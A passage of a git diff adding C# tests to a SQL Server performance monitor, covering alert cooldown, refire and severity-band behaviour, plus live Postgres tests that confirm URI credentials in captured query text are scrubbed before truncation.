+    public enum State
+    {
+        CaptureDown,
+        AgentNotRunning,
+        AgSyncBehind,
+        CustomRuleHealth,
+        FleetGate,
+        StoreJobOverCadence,
+        RetentionHeld,
+        RawPurgeOverHorizon,
+        PolicyJobStuckEscalated,
+    }
+
+    /// <summary>The alerts with severity bands: a rise inside one occurrence is a new alert (#5493).</summary>
+    public enum BandedState
+    {
+        StoreJobOverCadence,
+        RetentionHeld,
+        RawPurgeOverHorizon,
+    }
+
+    public static TheoryData<BandedState> BandedStates
+    {
+        get
+        {
+            var data = new TheoryData<BandedState>();
+            foreach (var state in Enum.GetValues<BandedState>())
+            {
+                data.Add(state);
+            }
+
+            return data;
+        }
+    }
+
+    public static TheoryData<State> States
+    {
+        get
+        {
+            var data = new TheoryData<State>();
+            foreach (var state in Enum.GetValues<State>())
+            {
+                data.Add(state);
+            }
+
+            return data;
+        }
+    }
+
+    private static AlertDelivery FailedByWebhook() => AlertDelivery.FromFanout(
+        new EmailFanoutResult(
+            EmailOutcome: AlertChannelOutcome.NotAttempted, SendError: null,
+            WebhookOutcome: AlertChannelOutcome.Failed, WebhookSendError: "Slack: 429 Too Many Requests", AnyChannelConfigured: true),
+        muted: false, trayChannelPresent: false);
+
+    private static AlertDelivery DeliveredByWebhook() => AlertDelivery.FromFanout(
+        new EmailFanoutResult(
+            EmailOutcome: AlertChannelOutcome.NotAttempted, SendError: null,
+            WebhookOutcome: AlertChannelOutcome.Delivered, WebhookSendError: null, AnyChannelConfigured: true),
+        muted: false, trayChannelPresent: false);
+
+    private sealed class ScriptedDeliverer : IAlertDeliverer
+    {
+        public List<AlertOutcome> Outcomes { get; } = new();
+
+        public AlertDelivery? Answer { get; set; } = DeliveredByWebhook();
+
+        public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
+        {
+            Outcomes.Add(outcome);
+            return Task.CompletedTask;
+        }
+
+        public Task<AlertDelivery?> DeliverAndReportAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
+        {
+            Outcomes.Add(outcome);
+            return Task.FromResult(Answer);
+        }
+    }
+
+    private sealed class Rig
+    {
+        public Rig(State state)
+        {
+            State = state;
+            Evaluator = new DarlingSelfAlertEvaluator(
+                Settings, Deliverer, History, _ => false,
+                logger: new DarlingSelfAlertTests.CapturingLogger(), utcNow: () => Now,
+                connectionRefireMinutes: () => ConnectionRefireMinutes);
+        }
+
+        public State State { get; }
+
+        public DarlingSelfAlertTests.FakeHistoryStore History { get; } = new();
+
+        public int ConnectionRefireMinutes { get; set; }
+
+        public DarlingSelfAlertTests.FakeSettings Settings { get; } = new() { CooldownMinutes = 5 };
+
+        public ScriptedDeliverer Deliverer { get; } = new();
+
+        public DateTime Now { get; set; } = Start;
+
+        public DarlingSelfAlertEvaluator Evaluator { get; }
+
+        public int Fires => Deliverer.Outcomes.Count;
+
+        public void At(int minute) => Now = Start.AddMinutes(minute);
+
+        /// <summary>One check of a banded alert's condition at the warning or the critical band.</summary>
+        public Task HoldBandAsync(BandedState state, bool critical) => state switch
+        {
+            BandedState.StoreJobOverCadence => Evaluator.ApplyStoreJobCadenceAsync(
+                new[] { new StoreJobCadenceReading(1028, "policy_compression t", critical ? 3_600_000 : 1_800_000, 3_600_000) }, Ct),
+            BandedState.RetentionHeld => Evaluator.ApplyRetentionHoldsAsync(
+                new[] { new RetentionHoldReading(1, "t", false, "4 days", 19, critical ? 1_561_449 : 800_000, 345_600) }, Ct),
+            BandedState.RawPurgeOverHorizon => Evaluator.ApplyRawPurgeOverHorizonAsync(
+                new[] { new RawPurgeOverHorizonReading(1, "t", "4 days", critical ? 4.5 : 2.5, null) }, Ct),
+            _ => throw new ArgumentOutOfRangeException(nameof(state)),
+        };
+
+        public Task EndBandAsync(BandedState state) => state switch
+        {
+            BandedState.StoreJobOverCadence => Evaluator.ApplyStoreJobCadenceAsync(
+                new[] { new StoreJobCadenceReading(1028, "policy_compression t", 60_000, 3_600_000) }, Ct),
+            BandedState.RetentionHeld => Evaluator.ApplyRetentionHoldsAsync(new[] { Retention(armed: true) }, Ct),
+            BandedState.RawPurgeOverHorizon => Evaluator.ApplyRawPurgeOverHorizonAsync(
+                new[] { new RawPurgeOverHorizonReading(1, "t", "4 days", 0.5, new RawLastPurgeRecord(Now, "ran", null, null)) }, Ct),
+            _ => throw new ArgumentOutOfRangeException(nameof(state)),
+        };
+
+        /// <summary>One check with the condition holding.</summary>
+        public Task HoldAsync() => State switch
+        {
+            State.CaptureDown => Evaluator.ApplyCaptureDownAsync(ServerId, Name, new[] { "Blocking" }, Ct),
+            State.AgentNotRunning => Evaluator.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: false, agentEverSeenRunning: true, Ct),
+            State.AgSyncBehind => Evaluator.ApplyAgDatabaseHealthAsync(ServerId, Name, new[] { AgDatabase(lagSeconds: 900) }, Ct),
+            State.CustomRuleHealth => Evaluator.ApplyCustomRuleHealthAsync(UnhealthyRules(), Ct),
+            State.FleetGate => Evaluator.ApplyFleetGateAsync(GateReport(skipped: 500), Ct),
+            State.StoreJobOverCadence => Evaluator.ApplyStoreJobCadenceAsync(new[] { new StoreJobCadenceReading(1028, "policy_compression t", 3_600_000, 3_600_000) }, Ct),
+            State.RetentionHeld => Evaluator.ApplyRetentionHoldsAsync(new[] { Retention(armed: false) }, Ct),
+            State.RawPurgeOverHorizon => Evaluator.ApplyRawPurgeOverHorizonAsync(new[] { new RawPurgeOverHorizonReading(1, "t", "4 days", 4.5, null) }, Ct),
+            State.PolicyJobStuckEscalated => Evaluator.ApplyPolicyJobsStuckAsync(StuckJob(), RearmFails, Ct),
+            _ => throw new ArgumentOutOfRangeException(nameof(State)),
+        };
+
+        /// <summary>One check with the condition gone (the fleet gate also needs its quiet hour, so that one
+        /// moves the clock past it).</summary>
+        public async Task EndAsync()
+        {
+            switch (State)
+            {
+                case State.CaptureDown:
+                    await Evaluator.ApplyCaptureDownAsync(ServerId, Name, Array.Empty<string>(), Ct);
+                    break;
+                case State.AgentNotRunning:
+                    await Evaluator.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: true, agentEverSeenRunning: true, Ct);
+                    break;
+                case State.AgSyncBehind:
+                    await Evaluator.ApplyAgDatabaseHealthAsync(ServerId, Name, new[] { AgDatabase(lagSeconds: 0) }, Ct);
+                    break;
+                case State.CustomRuleHealth:
+                    await Evaluator.ApplyCustomRuleHealthAsync(new CustomAlertHealthReport(
+                        Array.Empty<CustomAlertRuleHealthIssue>(), Array.Empty<CustomAlertRuleHealthIssue>()), Ct);
+                    break;
+                case State.FleetGate:
+                    /* Caught up starts the quiet clock; a whole quiet hour later it resolves. */
+                    await Evaluator.ApplyFleetGateAsync(GateReport(skipped: 0), Ct);
+                    Now += DarlingSelfAlertEvaluator.FleetGateQuietHold;
+                    await Evaluator.ApplyFleetGateAsync(GateReport(skipped: 0), Ct);
+                    break;
+                case State.StoreJobOverCadence:
+                    await Evaluator.ApplyStoreJobCadenceAsync(new[] { new StoreJobCadenceReading(1028, "policy_compression t", 60_000, 3_600_000) }, Ct);
+                    break;
+                case State.RetentionHeld:
+                    await Evaluator.ApplyRetentionHoldsAsync(new[] { Retention(armed: true) }, Ct);
+                    break;
+                case State.RawPurgeOverHorizon:
+                    await Evaluator.ApplyRawPurgeOverHorizonAsync(
+                        new[] { new RawPurgeOverHorizonReading(1, "t", "4 days", 0.5, new RawLastPurgeRecord(Now, "ran", null, null)) }, Ct);
+                    break;
+                case State.PolicyJobStuckEscalated:
+                    await Evaluator.ApplyPolicyJobsStuckAsync(StorePolicyJobHealth.Empty, RearmFails, Ct);
+                    break;
+                default:
+                    throw new ArgumentOutOfRangeException(nameof(State));
+            }
+        }
+
+        private static Task<bool> RearmFails(long jobId) => Task.FromResult(false);
+
+        private static AgDatabaseReading AgDatabase(int lagSeconds) =>
+            new("AG1", "Sales", "NODE2", SecondaryLagSeconds: lagSeconds, RedoQueueSizeKb: 0, IsSuspended: false, SuspendReasonDesc: null);
+
+        private static CustomAlertHealthReport UnhealthyRules() => new(
+            new[] { new CustomAlertRuleHealthIssue(1, "broken 1", "invalid metric: unknown measure 'x'") },
+            Array.Empty<CustomAlertRuleHealthIssue>());
+
+        private DarlingSelfAlertEvaluator.FleetGateReport GateReport(long skipped) =>
+            new(Run: 500, Skipped: skipped, QueueWaits: 0, QueueWaitTotal: TimeSpan.Zero, QueueWaitMax: TimeSpan.Zero,
+                GateWidth: 4, WindowEndUtc: Now);
+
+        private static RetentionHoldReading Retention(bool armed) =>
+            new(1, "t", armed, "4 days", 19, 1_561_449, 345_600);
+
+        private static StorePolicyJobHealth StuckJob()
+        {
+            var stuck = new[]
+            {
+                new StuckPolicyJob(
+                    7, "wait_stats", "next_start is -infinity — the scheduler will never run it again",
+                    Arm: StuckPolicyJobArm.NextStartNegativeInfinity),
+            };
+            return new StorePolicyJobHealth(
+                stuck,
+                new[] { new PolicyJobRunReading(7, stuck[0].Family, "wait_stats", Held: false, LastRunStatus: null, TotalFailures: 0) });
+        }
+    }
+
+    [Theory]
+    [MemberData(nameof(States))]
+    public async Task AStandingCondition_AcrossManyCooldowns_WithRefireOff_AlertsExactlyOnce(State state)
+    {
+        var rig = new Rig(state);
+
+        /* 12 cooldowns (an hour) of a standing condition, one check a minute. */
+        for (var minute = 0; minute <= 60; minute++)
+        {
+            rig.At(minute);
+            await rig.HoldAsync();
+        }
+
+        Assert.Equal(1, rig.Fires);
+    }
+
+    [Theory]
+    [MemberData(nameof(States))]
+    public async Task AStandingCondition_WithRefireOn_RepeatsOnTheRefireInterval_NotTheCooldown(State state)
+    {
+        var rig = new Rig(state) { ConnectionRefireMinutes = 30 };
+
+        var firedAtMinute = new List<int>();
+        for (var minute = 0; minute <= 95; minute++)
+        {
+            rig.At(minute);
+            var before = rig.Fires;
+            await rig.HoldAsync();
+            if (rig.Fires > before)
+            {
+                firedAtMinute.Add(minute);
+            }
+        }
+
+        Assert.Equal(new[] { 0, 30, 60, 90 }, firedAtMinute.ToArray());
+    }
+
+    [Theory]
+    [MemberData(nameof(States))]
+    public async Task TheConditionEndingAndStartingAgain_IsANewOccurrenceWithItsOwnAlert_AndOneResolution(State state)
+    {
+        var rig = new Rig(state);
+
+        await rig.HoldAsync();
+        Assert.Equal(1, rig.Fires);
+
+        rig.At(1);
+        await rig.EndAsync();
+        Assert.Single(rig.History.Records);
+
+        /* Back a minute later, inside the cooldown: a new occurrence, a new alert, and again no repeats. */
+        rig.Now += TimeSpan.FromMinutes(1);
+        await rig.HoldAsync();
+        Assert.Equal(2, rig.Fires);
+
+        rig.Now += TimeSpan.FromMinutes(60);
+        await rig.HoldAsync();
+        Assert.Equal(2, rig.Fires);
+    }
+
+    [Theory]
+    [MemberData(nameof(States))]
+    public async Task AnAlertNoChannelTook_IsSentAgainAfterTheBackOff_ThenStopsOnceDelivered_WithRefireOff(State state)
+    {
+        var rig = new Rig(state) { Deliverer = { Answer = FailedByWebhook() } };
+
+        await rig.HoldAsync();
+        Assert.Equal(1, rig.Fires);
+
+        rig.Now = Start.AddSeconds(59);
+        await rig.HoldAsync();
+        Assert.Equal(1, rig.Fires);
+
+        rig.Deliverer.Answer = DeliveredByWebhook();
+        rig.Now = Start.AddSeconds(60);
+        await rig.HoldAsync();
+        Assert.Equal(2, rig.Fires);
+
+        for (var minute = 2; minute <= 60; minute++)
+        {
+            rig.At(minute);
+            await rig.HoldAsync();
+        }
+
+        Assert.Equal(2, rig.Fires);
+    }
+
+    [Theory]
+    [MemberData(nameof(BandedStates))]
+    public async Task ARiseToTheCriticalBand_InsideOneOccurrence_SendsOneMoreAlert_WithRefireOff(BandedState state)
+    {
+        var rig = new Rig(State.StoreJobOverCadence);
+
+        await rig.HoldBandAsync(state, critical: false);
+        Assert.Equal(1, rig.Fires);
+
+        rig.At(1);
+        await rig.HoldBandAsync(state, critical: true);
+        Assert.Equal(2, rig.Fires);
+        Assert.Equal(AlertSeverityLevel.Warning, rig.Deliverer.Outcomes[0].Severity);
+        Assert.Equal(AlertSeverityLevel.Critical, rig.Deliverer.Outcomes[1].Severity);
+
+        /* The rise is sent once, and a standing critical band does not repeat. */
+        for (var minute = 2; minute <= 60; minute++)
+        {
+            rig.At(minute);
+            await rig.HoldBandAsync(state, critical: true);
+        }
+
+        Assert.Equal(2, rig.Fires);
+    }
+
+    [Theory]
+    [MemberData(nameof(BandedStates))]
+    public async Task AFallToTheWarningBand_SendsNothing_AndSoDoesRisingBackToCriticalInTheSameOccurrence(BandedState state)
+    {
+        var rig = new Rig(State.StoreJobOverCadence);
+
+        await rig.HoldBandAsync(state, critical: true);
+        rig.At(1);
+        await rig.HoldBandAsync(state, critical: false);
+        Assert.Equal(1, rig.Fires);
+
+        rig.At(2);
+        await rig.HoldBandAsync(state, critical: true);
+        Assert.Equal(1, rig.Fires);
+    }
+
+    [Theory]
+    [MemberData(nameof(BandedStates))]
+    public async Task Recovery_ForgetsTheSeverity_SoCriticalThenWarningAfterRecoveryIsANewEntry(BandedState state)
+    {
+        var rig = new Rig(State.StoreJobOverCadence);
+
+        await rig.HoldBandAsync(state, critical: true);
+        rig.At(1);
+        await rig.EndBandAsync(state);
+        Assert.Single(rig.History.Records);
+
+        rig.At(2);
+        await rig.HoldBandAsync(state, critical: false);
+        Assert.Equal(2, rig.Fires);
+        Assert.Equal(AlertSeverityLevel.Warning, rig.Deliverer.Outcomes[1].Severity);
+
+        /* ... and the warning-to-critical rise of that new occurrence alerts again. */
+        rig.At(3);
+        await rig.HoldBandAsync(state, critical: true);
+        Assert.Equal(3, rig.Fires);
+    }
+
+    [Theory]
+    [MemberData(nameof(BandedStates))]
+    public async Task ARepeat_WithRefireOn_CarriesTheCurrentSeverity(BandedState state)
+    {
+        var rig = new Rig(State.StoreJobOverCadence) { ConnectionRefireMinutes = 30 };
+
+        await rig.HoldBandAsync(state, critical: true);
+        rig.At(30);
+        await rig.HoldBandAsync(state, critical: false);
+
+        Assert.Equal(2, rig.Fires);
+        Assert.Equal(AlertSeverityLevel.Critical, rig.Deliverer.Outcomes[0].Severity);
+        Assert.Equal(AlertSeverityLevel.Warning, rig.Deliverer.Outcomes[1].Severity);
+    }
+
+    private static CustomAlertHealthReport Rules(params long[] brokenIds) => new(
+        brokenIds.Select(id => new CustomAlertRuleHealthIssue(id, "rule-" + id, "invalid metric")).ToArray(),
+        Array.Empty<CustomAlertRuleHealthIssue>());
+
+    [Fact]
+    public async Task ARuleJoiningTheUnhealthySet_SendsOneAlert_NamingTheSetAndTheNewRule_WithRefireOff()
+    {
+        var rig = new Rig(State.CustomRuleHealth);
+
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1, 2), Ct);
+        Assert.Equal(1, rig.Fires);
+        Assert.DoesNotContain("New since", rig.Deliverer.Outcomes[0].DetailText!);
+
+        rig.At(10);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1, 2), Ct);
+        Assert.Equal(1, rig.Fires);
+
+        rig.At(20);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1, 2, 3), Ct);
+        Assert.Equal(2, rig.Fires);
+        var detail = rig.Deliverer.Outcomes[1].DetailText!;
+        Assert.Contains("New since the previous alert were rule 3 \"rule-3\"", detail);
+        Assert.Contains("- Rule 1 ", detail);
+        Assert.Contains("- Rule 2 ", detail);
+        Assert.Contains("- Rule 3 ", detail);
+
+        /* The enlarged set is now the known one: no further alert while it stands. */
+        rig.At(90);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1, 2, 3), Ct);
+        Assert.Equal(2, rig.Fires);
+    }
+
+    [Fact]
+    public async Task ARuleLeavingTheUnhealthySet_SendsNothing_AndRejoiningItIsNewAgain()
+    {
+        var rig = new Rig(State.CustomRuleHealth);
+
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1, 2), Ct);
+        rig.At(10);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1), Ct);
+        Assert.Equal(1, rig.Fires);
+        Assert.Empty(rig.History.Records);
+
+        rig.At(20);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1, 2), Ct);
+        Assert.Equal(2, rig.Fires);
+        Assert.Contains("New since the previous alert were rule 2", rig.Deliverer.Outcomes[1].DetailText!);
+    }
+
+    [Fact]
+    public async Task AnEmptySet_ResolvesOnce_AndTheNextRuleToBreakIsAnEntryWithNoNewRuleSentence()
+    {
+        var rig = new Rig(State.CustomRuleHealth);
+
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(1), Ct);
+        rig.At(1);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(), Ct);
+        rig.At(2);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(), Ct);
+        Assert.Single(rig.History.Records);
+
+        rig.At(3);
+        await rig.Evaluator.ApplyCustomRuleHealthAsync(Rules(7), Ct);
+        Assert.Equal(2, rig.Fires);
+        Assert.DoesNotContain("New since", rig.Deliverer.Outcomes[1].DetailText!);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementAlertReadCutLiveTests.cs b/Darling/Darling.Tests/StatementAlertReadCutLiveTests.cs
new file mode 100644
index 0000000000..995acb7ab4
--- /dev/null
+++ b/Darling/Darling.Tests/StatementAlertReadCutLiveTests.cs
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: the long-running-query alert read returns the WHOLE statement, the statement filter judges it, and the cut to
+/// the alert's 300 characters comes after. The read used to cut in SQL (<c>SUBSTRING(r.query_text, 1, 300)</c>), so a
+/// value that sat early in a batch with the text that names it past the 300th character read clean and the alert
+/// carried the start of the secret. #1776 own-store: this class registers one server of its own and removes its rows.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementAlertReadCutLiveTests
+{
+    private const string ServerName = "statement-alert-cut-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>A plain statement of 500 characters: kept as the first 300 and nothing more.</summary>
+    private static readonly string Plain = "SELECT plain_ssf " + new string('x', 483);
+
+    [Fact]
+    public async Task LongRunningQueries_JudgeTheWholeStatement_ThenCutAtThreeHundred()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live alert cut test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var collected = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(-1);
+            await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, total_elapsed_time_ms, cpu_time_ms, reads, writes, query_hash, wait_type)
+VALUES ($1, $2, $3, $4, 71, 'UriDb', $5, 900000, 1, 1, 0, '0x01', 'CXPACKET'), ($6, $2, $3, $4, 72, 'UriDb', $7, 800000, 1, 1, 0, '0x02', 'CXPACKET')",
+                CollectionIdGenerator.Next(), collected, ServerId, ServerName, StatementScrubCanary.UriStatement(300),
+                CollectionIdGenerator.Next(), Plain);
+
+            var adapter = new DarlingAlertReadAdapter(postgres);
+            var read = await adapter.GetLongRunningQueriesAsync(
+                ServerId.ToString(System.Globalization.CultureInfo.InvariantCulture), thresholdMinutes: 5, maxResults: 5,
+                excludeSpServerDiagnostics: true, excludeWaitFor: true, excludeBackups: true, excludeMiscWaits: true,
+                excludeCdc: true, excludedDatabases: Array.Empty<string>(), LongRunningQueryExclusions.None, ct);
+
+            var named = read.Sessions.Single(q => q.SessionId == 71).QueryText;
+            Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, named, StringComparison.Ordinal);
+            Assert.Contains(SensitiveStatements.PlaceholderText, named, StringComparison.Ordinal);
+
+            var plain = read.Sessions.Single(q => q.SessionId == 72).QueryText;
+            Assert.Equal(Plain[..300], plain);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM query_snapshots WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_monitored_servers WHERE server_id = $1", ServerId);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementAnalysisReadCutLiveTests.cs b/Darling/Darling.Tests/StatementAnalysisReadCutLiveTests.cs
new file mode 100644
index 0000000000..b8bbb4a1e0
--- /dev/null
+++ b/Darling/Darling.Tests/StatementAnalysisReadCutLiveTests.cs
@@ -0,0 +1,302 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: Darling's analysis readers return the WHOLE statement, the statement filter judges it, and the cut comes
+/// after. Each case plants a batch whose named value (a URI's <c>user:secret@</c>) sits inside the cut and whose
+/// naming at-sign sits past it, so a reader that cuts in SQL first hands the filter a prefix that reads clean and
+/// the answer holds the start of the secret. A plain statement past the cut is cut exactly as before.
+/// One case per reader family: blocking, queries, activity (the bad-actor read), pileup, target deadlocks.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementAnalysisReadCutLiveTests
+{
+    private const string ServerName = "statement-analysis-cut-e2e";
+    private const string PgServerName = "statement-analysis-cut-pg-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int PgServerId = ServerIdHelper.GetDeterministicHashCode(PgServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>A plain statement of 700 characters: kept as the first 500 and nothing more.</summary>
+    private static readonly string Plain = "SELECT plain_ssf " + new string('x', 683);
+
+    private static string Json(object? value) => JsonSerializer.Serialize(value);
+
+    private static void AssertNamedWithheldAndPlainCutAtFiveHundred(string json)
+    {
+        Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, json, StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, json, StringComparison.Ordinal);
+        Assert.Contains(Plain[..500], json, StringComparison.Ordinal);
+        Assert.DoesNotContain(Plain[..501], json, StringComparison.Ordinal);
+    }
+
+    private sealed record Run(NpgsqlConnection Connection, NpgsqlDataSource Postgres, AnalysisContext Context, CancellationToken Ct);
+
+    private static async Task RunAsync(Func<Run, Task> body)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live analysis cut test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, PgServerId, PgServerName, ct);
+            var end = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(1);
+            var context = new AnalysisContext
+            {
+                ServerId = ServerId, ServerName = ServerName, TimeRangeStart = end.AddHours(-4), TimeRangeEnd = end,
+                ServerUtcOffset = TimeSpan.Zero, CancellationToken = ct
+            };
+            await body(new Run(connection, postgres, context, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task<AnalysisFinding> EnrichAsync(PgDrillDownCollector collector, Run run, string rootKey)
+    {
+        var finding = new AnalysisFinding { RootFactKey = rootKey, StoryPath = rootKey, PathKeys = [rootKey], Severity = 1.0 };
+        await collector.EnrichFindingsAsync([finding], run.Context);
+        Assert.NotNull(finding.DrillDown);
+        return finding;
+    }
+
+    [Fact]
+    public async Task BlockingReaders_JudgeTheWholeStatement_ThenCutAtFiveHundred()
+    {
+        await RunAsync(async run =>
+        {
+            var at = run.Context.TimeRangeStart.AddMinutes(30);
+            await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text)
+VALUES ($1, $2, $3, $4, $2, 'UriDb', 71, 60, 12000, 'X', $5, $6)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, StatementScrubCanary.UriStatement(500), Plain);
+            await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml, database_name)
+VALUES ($1, $2, $3, $4, $2, 'process1', $5, '<deadlock-list/>', 'UriDb'), ($6, $2, $3, $4, $2, 'process2', $7, '<deadlock-list/>', 'UriDb')",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, StatementScrubCanary.UriStatement(500), CollectionIdGenerator.Next(), Plain);
+
+            var collector = new PgDrillDownCollector(run.Postgres);
+            var top = await EnrichAsync(collector, run, "BLOCKING_EVENTS");
+            AssertNamedWithheldAndPlainCutAtFiveHundred(Json(top.DrillDown!["top_blocking_chains"]));
+
+            var chains = await EnrichAsync(collector, run, "BLOCKING_CHAIN");
+            AssertNamedWithheldAndPlainCutAtFiveHundred(Json(chains.DrillDown!["reconstructed_blocking_chains"]));
+
+            var deadlocks = await EnrichAsync(collector, run, "DEADLOCKS");
+            AssertNamedWithheldAndPlainCutAtFiveHundred(Json(deadlocks.DrillDown!["top_deadlocks"]));
+        });
+    }
+
+    [Fact]
+    public async Task QueryReaders_JudgeTheWholeStatement_ThenCutAtFiveHundred()
+    {
+        await RunAsync(async run =>
+        {
+            var at = run.Context.TimeRangeStart.AddMinutes(30);
+            foreach (var (hash, text) in new[] { ("0xURICUT", StatementScrubCanary.UriStatement(500)), ("0xPLAINCUT", Plain) })
+            {
+                await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+     creation_time, query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, delta_spills, min_dop, max_dop)
+VALUES ($1, $2, $3, $4, 'UriDb', $5, '0xPLAN', '0xSQLH', '0xPLANH', $6, $7, 10, 500000, 900000, 1000, 5, 1, 1)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, hash, at.AddDays(-1), text);
+            }
+
+            var collector = new PgDrillDownCollector(run.Postgres);
+            var spills = await EnrichAsync(collector, run, "QUERY_SPILLS");
+            AssertNamedWithheldAndPlainCutAtFiveHundred(Json(spills.DrillDown!["top_spilling_queries"]));
+
+            var cpu = await EnrichAsync(collector, run, "CPU_SQL_PERCENT");
+            AssertNamedWithheldAndPlainCutAtFiveHundred(Json(cpu.DrillDown!["top_cpu_queries"]));
+        });
+    }
+
+    [Fact]
+    public async Task BadActorFactRead_CarriesNoStatementText()
+    {
+        await RunAsync(async run =>
+        {
+            var at = run.Context.TimeRangeStart.AddMinutes(30);
+            await DarlingMcpTestData.ExecAsync(run.Connection, run.Ct, @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+     creation_time, query_text, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, delta_spills, min_dop, max_dop)
+VALUES ($1, $2, $3, $4, 'UriDb', '0xBADACTOR', '0xPLAN', '0xSQLH', '0xPLANH', $5, $6, 500, 90000000, 90000000, 900000, 0, 1, 1)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, at.AddDays(-1), StatementScrubCanary.UriStatement(200));
+
+            /* The fact is keyed on the hash and carries numbers only: its read must not fetch a cut statement it never prints. */
+            Assert.DoesNotContain("query_text", PgFactCollector.BadActorSql, StringComparison.Ordinal);
